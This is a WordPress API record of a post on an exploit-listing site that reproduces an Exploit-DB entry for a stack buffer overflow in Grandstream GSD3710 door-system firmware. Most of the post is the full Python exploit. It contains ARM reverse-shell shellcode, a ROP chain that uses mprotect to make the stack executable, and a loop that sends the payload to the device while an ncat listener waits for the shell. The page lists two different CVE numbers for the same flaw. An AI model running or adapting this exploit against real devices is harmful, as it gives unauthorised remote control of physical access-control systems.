{"id":5962,"date":"2025-05-25T09:35:55","date_gmt":"2025-05-25T09:35:55","guid":{"rendered":"http:\/\/localhost\/?p=5962"},"modified":"2025-05-25T09:35:55","modified_gmt":"2025-05-25T09:35:55","slug":"grandstream-gsd3710-101113-stack-buffer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=5962","title":{"rendered":"Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52303<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-25T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-25T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">9.8<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #cc0000; font-weight: bold;\">CRITICAL<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2020-2070<\/li>\n<li>CVE-2022-2070<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\n!\/usr\/bin\/env python3 Exploit Title: Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow Google Dork: [if applicable]&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n#!\/usr\/bin\/env python3<\/p>\n<p># Exploit Title: Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow<br \/>\n<br \/># Google Dork: [if applicable]<br \/>\n<br \/># Date: 2025-05-23<br \/>\n<br \/># Exploit Author: Pepelux (user in ExploitDB)<br \/>\n<br \/># Vendor Homepage: https:\/\/www.grandstream.com\/<br \/>\n<br \/># Software Link: [download link if available]<br \/>\n<br \/># Version: Grandstream GSD3710 &#8211; firmware:1.0.11.13 and lower<br \/>\n<br \/># Tested on: Linux and MacOS<br \/>\n<br \/># CVE: CVE-2022-2070<\/p>\n<p>&#8220;&#8221;&#8221;<br \/>\n<br \/>Author: Jose Luis Verdeguer (@pepeluxx)<\/p>\n<p>Required: Pwntools<\/p>\n<p>Example:<\/p>\n<p>Terminal 1:<br \/>\n<br \/>$ ncat -lnvp 4444<\/p>\n<p>Terminal 2:<br \/>\n<br \/>$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444<br \/>\n<br \/>&#8220;&#8221;&#8221;<\/p>\n<p>from operator import ge<br \/>\n<br \/>import sys<br \/>\n<br \/>import time<br \/>\n<br \/>from pwn import *<\/p>\n<p>import argparse<\/p>\n<p>def get_args():<br \/>\n<br \/>    parser = argparse.ArgumentParser(<br \/>\n<br \/>        formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(<br \/>\n<br \/>            prog, max_help_position=50))<\/p>\n<p>    # Add arguments<br \/>\n<br \/>    parser.add_argument(&#8216;-ti&#8217;, &#8216;&#8211;target_ip&#8217;, type=str, required=True,<br \/>\n<br \/>                        help=&#8217;device IP address&#8217;, dest=&#8221;device_ip&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8216;-tp&#8217;, &#8216;&#8211;target_port&#8217;, type=int, required=True, default=8081,<br \/>\n<br \/>                        help=&#8217;device port&#8217;, dest=&#8221;device_port&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8216;-ri&#8217;, &#8216;&#8211;reverse_ip&#8217;, type=str, required=True,<br \/>\n<br \/>                        help=&#8217;reverse IP address&#8217;, dest=&#8221;reverse_ip&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8216;-rp&#8217;, &#8216;&#8211;reverse_port&#8217;, type=int, required=True,<br \/>\n<br \/>                        help=&#8217;reverse port&#8217;, dest=&#8221;reverse_port&#8221;)<\/p>\n<p>    # Array for all arguments passed to script<br \/>\n<br \/>    args = parser.parse_args()<\/p>\n<p>    try:<br \/>\n<br \/>        TI = args.device_ip<br \/>\n<br \/>        TP = args.device_port<br \/>\n<br \/>        RI = args.reverse_ip<br \/>\n<br \/>        RP = args.reverse_port<\/p>\n<p>        return TI, TP, RI, RP<br \/>\n<br \/>    except ValueError:<br \/>\n<br \/>        exit()<\/p>\n<p>def check_badchars(data):<br \/>\n<br \/>    for i in range(len(data)):<br \/>\n<br \/>        if data[i] in [0x0, 0x40]:<br \/>\n<br \/>            log.warn(&#8220;Badchar %s detected at %#x&#8221; % (hex(data[i]), i))<br \/>\n<br \/>            return True<br \/>\n<br \/>    return False<\/p>\n<p>def get_shellcode(ip, port):<br \/>\n<br \/>    ip_bytes = socket.inet_aton(ip)<br \/>\n<br \/>    port_bytes = struct.pack(&#8220;>H&#8221;, port)<\/p>\n<p>    # Linux ARM reverse shell<\/p>\n<p>    # switch to thumb mode<br \/>\n<br \/>    sc = b&#8221;\\x01\\x30\\x8F\\xE2&#8243;  # add r3, pc, #1<br \/>\n<br \/>    sc += b&#8221;\\x13\\xFF\\x2F\\xE1&#8243;  # bx r3<\/p>\n<p>    # socket(2, 1, 0)<br \/>\n<br \/>    sc += b&#8221;\\x02\\x20&#8243;  # movs r0, #2<br \/>\n<br \/>    sc += b&#8221;\\x01\\x21&#8243;  # movs r1, #1<br \/>\n<br \/>    sc += b&#8221;\\x92\\x1A&#8221;  # subs r2, r2, r2<br \/>\n<br \/>    sc += b&#8221;\\xC8\\x27&#8243;  # movs r7, #0xc8<br \/>\n<br \/>    sc += b&#8221;\\x51\\x37&#8243;  # adds r7, #0x51<br \/>\n<br \/>    sc += b&#8221;\\x01\\xDF&#8221;  # svc #1<br \/>\n<br \/>    sc += b&#8221;\\x04\\x1C&#8221;  # adds r4, r0, #0<\/p>\n<p>    # connect(r0, &#038;sockaddr, 16)<br \/>\n<br \/>    sc += b&#8221;\\x0C\\xA1&#8243;  # adr r1, #0x30<br \/>\n<br \/>    sc += b&#8221;\\x4A\\x70&#8243;  # strb r2, [r1, #1]<br \/>\n<br \/>    sc += b&#8221;\\x10\\x22&#8243;  # movs r2, #0x10<br \/>\n<br \/>    sc += b&#8221;\\x02\\x37&#8243;  # adds r7, #2<br \/>\n<br \/>    sc += b&#8221;\\x01\\xDF&#8221;  # svc #1<\/p>\n<p>    # dup2(sockfd, 0)<br \/>\n<br \/>    sc += b&#8221;\\x3F\\x27&#8243;  # movs r7, #0x3f<br \/>\n<br \/>    sc += b&#8221;\\x20\\x1C&#8221;  # adds r0, r4, #0<br \/>\n<br \/>    sc += b&#8221;\\x49\\x1A&#8221;  # subs r1, r1, r1<br \/>\n<br \/>    sc += b&#8221;\\x01\\xDF&#8221;  # svc #1<\/p>\n<p>    # dup2(sockfd, 1)<br \/>\n<br \/>    sc += b&#8221;\\x20\\x1C&#8221;  # adds r0, r4, #0<br \/>\n<br \/>    sc += b&#8221;\\x01\\x21&#8243;  # movs r1, #1<br \/>\n<br \/>    sc += b&#8221;\\x01\\xDF&#8221;  # svc #1<\/p>\n<p>    # dup2(sockfd, 2)<br \/>\n<br \/>    sc += b&#8221;\\x20\\x1C&#8221;  # adds r0, r4, #0<br \/>\n<br \/>    sc += b&#8221;\\x02\\x21&#8243;  # movs r1, #2<br \/>\n<br \/>    sc += b&#8221;\\x01\\xDF&#8221;  # svc #1<\/p>\n<p>    # execve(&#8220;\/bin\/sh&#8221;)<br \/>\n<br \/>    sc += b&#8221;\\x06\\xA0&#8243;  # adr r0, #0x18<br \/>\n<br \/>    sc += b&#8221;\\x92\\x1A&#8221;  # subs r2, r2, r2<br \/>\n<br \/>    sc += b&#8221;\\x49\\x1A&#8221;  # subs r1, r1, r1<br \/>\n<br \/>    sc += b&#8221;\\x01\\x91&#8243;  # str r1, [sp, #4]<br \/>\n<br \/>    sc += b&#8221;\\x02\\x91&#8243;  # str r1, [sp, #8]<br \/>\n<br \/>    sc += b&#8221;\\x01\\x90&#8243;  # str r0, [sp, #4]<br \/>\n<br \/>    sc += b&#8221;\\x01\\xA9&#8243;  # add r1, sp, #4<br \/>\n<br \/>    sc += b&#8221;\\xC2\\x71&#8243;  # strb r2, [r0, #7]<br \/>\n<br \/>    sc += b&#8221;\\x0B\\x27&#8243;  # movs r7, #0xb<br \/>\n<br \/>    sc += b&#8221;\\x01\\xDF&#8221;  # svc #1<\/p>\n<p>    sc += b&#8221;\\x02\\xFF&#8221;<br \/>\n<br \/>    sc += port_bytes<br \/>\n<br \/>    sc += ip_bytes<br \/>\n<br \/>    sc += b&#8221;\/bin\/shX&#8221;<\/p>\n<p>    return sc<\/p>\n<p>def main():<br \/>\n<br \/>    ti, tp, ri, rp = get_args()<\/p>\n<p>    # ROP Gadgets<\/p>\n<p>    libc_base = 0x76ec1000<\/p>\n<p>    mprotect = libc_base + 0x93510+1<br \/>\n<br \/>    pop_lr = libc_base + 0x1848C  # pop {r0, r4, r8, ip, lr, pc}<br \/>\n<br \/>    pop_pc = libc_base + 0xd7515  # pop {pc}<br \/>\n<br \/>    pop_r0 = libc_base + 0x00064bb0+1  # 0x00064bb0 : pop {r0, pc}<\/p>\n<p>    pop_r5 = libc_base + 0x00003738+1  # 0x00003738 : pop {r5, pc}<br \/>\n<br \/>    add_r1_sp = libc_base + 0x000b3c4e+1  # 0x000b3c4e : add r1, sp, #0x14 ; blx r5<br \/>\n<br \/>    # 0x0002f83c (0x0002f83d): mov r0, r1; bx lr<br \/>\n<br \/>    mov_r0_r1 = libc_base + 0x0002f83d<br \/>\n<br \/>    # 0x0006a086 (0x0006a087): pop {r1, pc}<br \/>\n<br \/>    pop_r1 = libc_base + 0x6a087<br \/>\n<br \/>    ands_r0_r1 = libc_base + 0x1feba+1  # 0x0001feba : ands r0, r1 ; bx lr<br \/>\n<br \/>    # 0x000a3a42 : movs r4, r0 ; pop {r1, pc}<br \/>\n<br \/>    mov_r4_r0 = libc_base + 0x000a3a42+1<br \/>\n<br \/>    # 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr<br \/>\n<br \/>    movs_r1_r0 = libc_base + 0x0001fdaf<\/p>\n<p>    and_r0_f = libc_base + 0x8717e+1  # 0x0008717e : and r0, r0, #0xf ; bx lr<br \/>\n<br \/>    movs_r2_r0 = libc_base + 0x0001fc6a+1  # 0x0001fc6a : movs r2, r0 ; bx lr<br \/>\n<br \/>    mov_r0_r4 = libc_base + 0x0001f9d4+1  # 0x0001f9d4 : movs r0, r4 ; bx lr<br \/>\n<br \/>    blx_sp = libc_base + 0x46595  # 0x00046594 (0x00046595): blx sp<\/p>\n<p>    shellcode = get_shellcode(ri, rp)<\/p>\n<p>    auth_command = b&#8221;LOG\/1.0 END CMD:AUTH_USERNAME @&#8221;<br \/>\n<br \/>    junk = p32(0x43434343)<\/p>\n<p>    payload = auth_command<br \/>\n<br \/>    payload += b&#8221;A&#8221; * 144<\/p>\n<p>    # The goal is that R0 -> SP<\/p>\n<p>    # R5 = pop {pc}<br \/>\n<br \/>    # because in the the next gadget we have a blx r5<br \/>\n<br \/>    payload += p32(pop_r5)<br \/>\n<br \/>    payload += p32(pop_pc) # R5 = pop {pc}<\/p>\n<p>    # R1 = SP ; BLX pop {pc}<br \/>\n<br \/>    payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5<\/p>\n<p>    # Restore LR register (because it has been updated by the last BLX gadget)<br \/>\n<br \/>    payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}<br \/>\n<br \/>    payload += junk*4  # r0, r4, r8, ip<br \/>\n<br \/>    payload += p32(pop_pc) # LR = pop {pc}<\/p>\n<p>    # R0 = stack address<br \/>\n<br \/>    payload += p32(mov_r0_r1) # mov r0, r1; bx lr<\/p>\n<p>    # R1 = mask page align<br \/>\n<br \/>    payload += p32(pop_r1) # pop {r1, pc}<br \/>\n<br \/>    payload += p32(0xfffe1001)<\/p>\n<p>    # R0 = stack address &#038; 0xfffe1001<br \/>\n<br \/>    payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr<br \/>\n<br \/>    # R4 = R0<br \/>\n<br \/>    payload += p32(mov_r4_r0)  # movs r0, r4 ; bx lr<br \/>\n<br \/>    payload += junk  # r1<\/p>\n<p>    #\u00a0mprotect params<br \/>\n<br \/>    # r0 = shellcode page aligned address<br \/>\n<br \/>    # r1 = size(ofshellcode)<br \/>\n<br \/>    # r2 = protection (0x7 \u2013 RWX)<\/p>\n<p>    # R2 = 0x7<br \/>\n<br \/>    payload += p32(pop_r0)<br \/>\n<br \/>    payload += p32(0x07070707)<br \/>\n<br \/>    payload += p32(and_r0_f)  # R0 = 7 (RWX)<br \/>\n<br \/>    payload += p32(movs_r2_r0)  # R2 (prot: 7 &#8211; RWX)<\/p>\n<p>    # R1 = length = 0x10101010 (avoid 0&#8217;s)<br \/>\n<br \/>    payload += p32(pop_r0)<br \/>\n<br \/>    payload += p32(0x01010101)<br \/>\n<br \/>    payload += p32(movs_r1_r0)  # r1 (length: 0x10101010)<\/p>\n<p>    # R0 = stack address 4k aligned<br \/>\n<br \/>    payload += p32(mov_r0_r4)<\/p>\n<p>    # mprotect(stack, 0x10101010, 0x7)<br \/>\n<br \/>    payload += p32(mprotect)<br \/>\n<br \/>    payload += p32(blx_sp)  # ejecutamos en pila<br \/>\n<br \/>    payload += shellcode  # shellcode<\/p>\n<p>    if check_badchars(payload[len(auth_command):]):<br \/>\n<br \/>        sys.exit(0)<\/p>\n<p>    log.info(&#8220;Device IP: %s:%d&#8221; % (ti, tp))<br \/>\n<br \/>    log.info(&#8220;Attacker IP: %s:%d&#8221; % (ri, rp))<br \/>\n<br \/>    log.info(&#8220;Payload len: %d&#8221; % len(payload))<\/p>\n<p>    count = 1<\/p>\n<p>    while True:<br \/>\n<br \/>        try:<br \/>\n<br \/>            print(&#8216;Try: %d&#8217; % count)<br \/>\n<br \/>            r = remote(ti, tp)<br \/>\n<br \/>            r.send(payload)<br \/>\n<br \/>            log.success(&#8220;Payload sent!&#8221;)<br \/>\n<br \/>            # r.close()<br \/>\n<br \/>            time.sleep(1)<br \/>\n<br \/>            count += 1<br \/>\n<br \/>        except:<br \/>\n<br \/>            sleep(3)<br \/>\n<br \/>            pass<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>\n<br \/>    main()\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52303\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow Exploit ID EDB-ID:52303 Type exploitdb Published 2025-05-25T00:00:00 Modified 2025-05-25T00:00:00 CVSS Information CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-5962","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=5962\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow Exploit ID EDB-ID:52303 Type exploitdb Published 2025-05-25T00:00:00 Modified 2025-05-25T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=5962\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-25T09:35:55+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5962#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5962\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow\",\"datePublished\":\"2025-05-25T09:35:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5962\"},\"wordCount\":1147,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5962#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5962\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5962\",\"name\":\"Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-25T09:35:55+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5962#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5962\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5962#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=5962","og_locale":"en_US","og_type":"article","og_title":"Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow Exploit ID EDB-ID:52303 Type exploitdb Published 2025-05-25T00:00:00 Modified 2025-05-25T00:00:00 CVSS Information CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=5962","og_site_name":"zero redgem","article_published_time":"2025-05-25T09:35:55+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=5962#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=5962"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow","datePublished":"2025-05-25T09:35:55+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=5962"},"wordCount":1147,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","exploitdb","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=5962#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=5962","url":"https:\/\/zero.redgem.net\/?p=5962","name":"Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-25T09:35:55+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=5962#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=5962"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=5962#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Grandstream GSD3710 1.0.11.13 &#8211; Stack Buffer Overflow"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5962","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5962"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5962\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5962"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5962"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5962"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}